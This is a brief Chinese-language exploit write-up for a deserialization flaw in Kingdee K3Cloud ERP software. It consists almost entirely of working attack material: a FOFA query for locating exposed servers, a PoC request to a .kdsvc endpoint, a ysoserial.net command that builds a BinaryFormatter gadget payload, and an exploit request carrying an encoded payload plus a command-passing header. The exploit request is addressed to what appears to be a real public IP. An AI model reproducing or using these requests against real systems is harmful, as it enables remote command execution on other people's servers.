## 金蝶星空云K3Cloud反序列化漏洞

## fofa
```
app="金蝶云星空-管理中心"
```
## poc
```
POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: example.com
Content-Type: text/json

{
    "ap0":"PAYLOAD",
    "format":"3"
}
``

```

## 漏洞poc生成工具
- https://github.com/pwntester/ysoserial.net
```
.\ysoserial.exe -f BinaryFormatter -g ActivitySurrogateSelectorFromFile -c "a.cs;System.Windows.Forms.dll;System.Web.dll;System.dll"

```

## exp
```
POST /k3cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm.DynamicFormService.CloseForm.common.kdsvc HTTP/1.1
Host: 221.6.180.50:82
User-Agent: Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Content-Type: text/json
xxxxx: dir
Accept-Encoding: gzip, deflate
Content-Length: 15909

{"ap0": "[encoded data, 15884 characters]","format": "3"}
```
![image](https://github.com/wy876/POC/assets/139549762/05509568-3273-416b-adc0-bfc5ce3ed573)
